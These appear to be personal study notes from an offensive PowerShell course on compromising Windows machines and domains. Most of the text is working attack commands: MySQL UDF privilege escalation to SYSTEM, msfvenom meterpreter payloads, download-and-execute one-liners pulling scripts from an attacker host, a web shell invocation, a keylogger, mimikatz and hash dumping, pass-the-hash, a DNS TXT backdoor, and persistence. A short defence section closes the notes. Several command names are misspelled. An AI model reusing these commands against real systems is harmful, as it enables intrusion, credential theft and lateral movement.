Now privilege escalation 

-> We will use this UDF DLL from sqlmap
https://github.com/sqlmapproject/sqlmap/tree/master/udf/windows/64

- And where we would write it ? 
> SELECT @@plugin_dir

- Conver the dll to bytes 
> ConvertDll -DLLpath .\lib_mysql_udf_sys.dll -outputPath c:\test\dll.txt

- Write to the Server 
SELECT CHAR (past the dll.txt array) INTO OUTFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.6 \\lib\\plugin\\lib_mysqludf_sys.dll' FIELDS ESCAPED BY ''

- Create a function 
> FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

- Execute commands as SYSTEM : 
> select sys_eval('whoami')


---------------------------------------------------------------------------------

Metasploit Part : 1

Generating PowerShell payloads

msfvenom meterpreter : 
> msfvenom -p windows/×64/meterpreter/reverse_https LHOST=<IP> -f psh > ps_payload.ps1
> msfvenom -p windows/×64/meterpreter/reverse_https LHOST=<IP> -f psh-reflection > ps_payload.ps1 : this script run into memory 
> now execute using php command : http://newpc/phpmyadmin/config/shell.php?e=C:\windows\sysWOW64\WindowsPowershell\v1.0\powershell.exe -c iex((New-Object Net.WebClient).DownloadString('192.168.0.1/filename.ps1'))

Useful Metasploit modules which use PowerShell - 

> exploit/windows/smb/psexec_psh
> exploit/windows/local/powershell_cmd_upgrade

Manually executing scripts and modules.
	- Upload a script.
		> getting a seesion on meterpreter 
		> meterpreter> upload /opt/metasploit/Get-Information.ps1 C:\\Users\\Anshpc
 		> Shell 
		Now we have uploaded the Get-Information.ps1 from the nishang we can execute on it 
		> C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -ep Bypass . .\Get-Information.ps1; Get-Information
		
	- Use download and execute one liner.
		 iex : invoke Expression 
		> C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -c iex ((New-Object Net.WebClient).DownloadString("http://192.168.0.1/powerpreter.psm1"));Get-WLANKeys
		> now the script has been downloaded and Executed   
	- Use -encodedcommand parameter of PowerShell.
		> use nishang to encode any module and copy the code 
		> . .\nishang\Utility\Incoke-encoder.ps1
		> Invoke-Encoder -DatatoEncode [give module location ]
		> C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -e [paste the encoded data]
		> while using this method we have to ensure that the function calling is always present in script already 
 
Using modules to execute PowerShell scripts.
	- post/windows/manage/powershell/exec_powershell
	- exploit/multi/script/web_delivery



---------------------------------------------------------------------------------

Exploitation - Porting Exploits



Why?
	- Stuck on/pivoting from Windows machine.
	- For fun
When?
	- Command Execution.
How?
	- PowerShell is a scripting language just like Perl,
	- Python, Ruby etc.
Examples?
	- ShellShock
	- Full Disclosure





Using Powershell in Metasploit

How and when?

> https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit
 - psexec_psh
 - cmd upgrade

-----------------------------------------------------------------------------------

Post Exploitation : Domain Enumeration 

Importing of Module 

> Import-Module .\PowerView\powerview.psd1
> Get-Command -Module PowerView


PowerView from PowerTools.

Get domain controllers for the current domain
	- Get-NetDomainControllers

Get all computers of the domain
	- Get-NetComputers

Get all users for the domain
	- Get-NetUser
	- (Get-NetUser).cn : prints only common names

More details for the "Administrator" of the current domain
	- Get-Netuser-UserName Administrator

Get all the groups in a domain.
	- Get-NetGroups -GroupName "Domain Users"

Get all the users in the domain admins group
	- Get-NetGroup not Get-Netgroups

Get all fileservers of the domain
	- Get-NetFileServers

Get actively logged users on a computer
	- Get-NetLoggedon-Hostname ‹servername>

Find all machines on the current domain and enumerate various attributes.
	- Invoke-Netview

Find computers where a domain admin is logged in
	- Invoke-UserHunter
	- Invoke-userHunter -userName domainuser

Find shares on hosts in current domain.
	- Invoke-ShareFinder

Find sensitive files on computers in the domain
	- Invoke-FileFinder

Find all machines on the current domain where the current user has local admin access
	- Invoke-FindLocalAdminAccess

Find computers vulnerable to MS08-067
	- Invoke-FindvulnSystems

Run all enumeration on a particular computer.
	-Invoke-HostEnum -Hostname domainpc

Find local admins on all machines of the domain.
	-Invoke-EnumerateLocaladmins

-----------------------------------------------------------------------------------

Post Exploitation : ‌Information Gathering 

- Get-Information
	> . .\nishang\Get-Information\Get-Information.ps1
	> .\Get-Information.ps1 
- Keylogger
	> . .\nisahng\Get-Information\Keylogger.ps1 -CheckURL https://ip/test -magicString Stop123
	> . .\nishang\Utility\Parse_keys.ps1
	> . .\Invoke-Decode.ps1
	> Parse-Keys -RawKeys [encoded text]  -LoggedKey [file.txt]
 	> cat file.txt
  
- Egress Testing 
	looking for outbound open port on the victim machine 
	> . .\nishang\gather\Firelistener.ps1
	> FireListener -PortRange 440-450 -Verbose
	Now to connect to these port 
	> . .\nishang\Gather\FireBuster.ps1
	> FireBuster -targetip [] -portRange [] 
	
-----------------------------------------------------------------------------------

Privilege Escalation Part 1

PowerUp

http://www.harmjOy.net/blog/powershell/powerup-a-usage-guide

Services

Get services with unquoted paths and a space in their name.
	- Get-Serviceunquoted

Get services where the current user can write to its binary path
	- Get-ServiceExePerms

Get the services which current user can modify.
	- Get-ServicePerms



------ Services


Modify a service to add administrative user.
 > Invoke-ServiceUserAdd -ServiceName vulnsvc -UserName <> Password <>
 
Writes out a C# service executable that adds a user.
 > Write-UserAddServiceBinary -ServiceName VulnsvC -UserName <> -Password <>

Replace service binary for one which can add admin user.
 > write-ServiceEXE -ServiceName Vulnsvc -UserName <> -Password <>



------- Registry

Check for Autologon credentials in the Registry
 > Get-RegAutoLogon

Check for always elevated MSI in registry
 > Get-RegAlwaysInstallElevated

Run a MSI installer which can add admin user
 > write-UserAddMSI

-------- DLL Hijacking

Finds DLL hijacking opportunities for currently running processes
 > Invoke-FindDLLHijack

Finds service %PATH% .DLL hijacking opportunities
 > Invoke-FindPathHijack

Runs all the checks : Most Important runs all the command till now we have learn  
 > Invoke-Allchecks

 
--------- IMPORTANT------------


--------- Token Manipulation 

Token Manipulation 
 > Invoke-TokenManipulation 

You have to run command from an elevatied Shell 
 > Import-Module .\PowerSploit\PowerSploit.psd1
 > Invoke-TokenManipulation -Enumerate : List all the available token on the machine 
 > Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
 using this we can elevate from local level administrator to domain administrator 
 > Get-Process lsass | Invoke-TokenManipulation -ImpersonateUser  
  
for checking for a specific user has enough privilege use : 
ls hklm:\security 
this will only run if a person has run this on his own computer 


-----------------------------------------------------------------------------------




Post exploitation - Dumping System Secrets 

- Dump windows User Passwords  : 
	- > . .\PowerSploit\Exfilteration\Invoke-mimikatz.ps1
	- Invoke-Mimikatz -Dumpcreds

- Certificates 
	- Invoke-Mimikatz -Dumpcerts

- Dump LSA Secrets
	- . .\nishang\Gather\Get-LSASecret.ps1
	- Get-LSASecret 
	before that we elevate the process open window powershell as administrator 
	> . .\nishang\Escalation\Enable-DuplicateToken.ps1
	> Enable-DuplicateToken : this duplicate the token of the lsass process and elevates the privilege from system to administrator 
	> Enable-DuplicateToken

- Dump Local user's password hashes 
	> . .\nishang\Gather\Get-PassHashes.ps1
	> Get-Passhashes

- Dump WLAN Keys in Plain 
	> . .\nishang\Gather\Get-WLAN-Keys.ps1
	> Get-WLAN-Keys

- "phish" user credentials 
	> . .\nishang\Gather\Invoke-CredentialPhish.ps1

	> Invoke-Credentialphish : this script shows the command Prompt to the user and it forcefully asked username and password 
	  now it tries to validate both locally and if the machine connected to the domain and it tries to validate the credentials 
   
- Dump NTDS.dit , SYSTEM and SAM Hive 
	> . .\nishang\Gather\Copy-VSS.ps1
	> Copy-VSS -Path [where we want to save it ]
	> name of the file we get is SAM 
	> we can use Cain to extract information for file SAM 
	> cracker > LM & NTLM > right click > "add to list" > "Import it from SAM Database"  
 
	- Invoke-NinjaCopy 
	> . .\PowerSploit\Exfilteration\Invoke-NinijaCopy.ps1
	> Invoke-NinjaCopy 
or 
 
	Copy-VSS 

http://www.room362.com/blog/2013/06/10/Volume-Shadow-Copy-ntdsdit-domain-hashes-remotely-part-1/

- Dumping Web credentials from windows vault in plain (windows 8 onwards )
	- Get-vaultsCredentials 
	- 
or 
	- Get-WebCredentials 
 
	- Get-GPPPassword
----------------------------------------------------------------------------------


1. Nishang - DNS_TXT_Pwnage : This Backdoor uses DNS TXT records as a communication channel to receive command and scripts and channel from a DNS Server 
whoes text records we can control
 
DNS_TXT_Pwnage -StartDomain
start.alteredsecurity.com -cmdstring
begincommands-CommandDomain
command.alteredsecurity.com -psstring
startscript-PSDomain
script.alteredsecurity.com -Arguments
Get-WLAN-Keys -Subdomains 3
StopString stop -AuthNS
ns8.zoneedit.com



----------------------------------------------------------------------------------

Passing the Hash 

POSHing the Hashes 

Replaying Credentials 
	- Username and Password 
		- Mimikatz / WCE
		- File Server 
		- Invoke-CredentialsPhish
  	- Tokens 
	- Password Hashes 
	
	> .\wce.exe -s <Administrator> :.:hashes> -c Powershell.exe
	> Invoke-mimikatz -Command "'"sekurlsa::pth /User:Administrator /domain:. /ntlm:<paste ntlmhash of the account >/run:powershell.exe '"" 


----------------------------------------------------------------------------------

Post-Exploitation - Remoting Revisited 

WSMAN (Web Services Management)
 - WinRM is Microsoft's implementation of WSMAN

 - Command Execution
	- Invoke-WSManAction -Action Create -ResourceURI wmicimv2/win32_process -valueSet @{commandline="powershell.exe -C Get-Process"} ComputerName domainpc -Credential 
 
 - Script Execution
	- Invoke-WSManAction -Action Create - ResourceURI wmicimv2/win32_process -ValueSet @{commandline="powershell.exe-c ex ((New-object Net. Webclient). DownloadString 'http://192.168.254.1/reverse_powershell.ps1'))"} -ComputerName domainpc


- WSMAN vs PowerShell Remoting vs WMI 

 - WSMAN is firewall friendly could run on http/https 
syntax is little bit complex  
it also return inert object : that is its object could not be changed or after return  
it can interact non window device in network 

 - Powershell remoting again a firewall friendly but it return inert objects 
 
 - WMI is not firewall friendly but it return editible objects 
 

----------------------------------------------------------------------------------

WebShells 

- Antak From Nishang 
	- Written in ASP.Net
	- Run Commands and Scripts 
	- Upload and Download files 
- Powershell web Access from Microsoft 
	- A Powershell console from Browser 
	- Need Administrative USername and Passwords 
	- Provides for WildCard based Authorization rules 


----------------------------------------------------------------------------------

PostExploitation - Persistence 

- WMI Permanent Event Consumer 
	- Backdoors and Add-Persistence in Nishang 
	- Persistence Module in PowerSploit
- Window Registry 
- Schedule Task 

----------------------------------------------------------------------------------   
 
Powershell with other Security Tool 

- SQLMAP
	
----------------------------------------------------------------------------------

Defence with Powershell 

- Process tracking and module logging 
- ACL (Access Control list ), Software Restriction Policies(SRP) and Application restriction Policies (Applocker) 
  could be used to control powershell
- Both are supported by GPO , you mileage may vary according to your implementation Preference 
-  _PSLockDownPolicy (v3 Only) 
- Just Enough Admin - Restrict Administrative Rights 
- Auditing Base Lining and incident Managements 
Tools : 1. Posh-Sec
	2. Kansa
	3. Voyeur
	4. Using Virus Total API 
 
	
----------------------------------------------------------------------------------

Powershell with Human Interface Devices 

link : https://github.com/samratashok/Kautilya 

> kautilya.rb 

HARDWARE : Teensy++ 2.0


----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
				END OF THE COURSE 
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------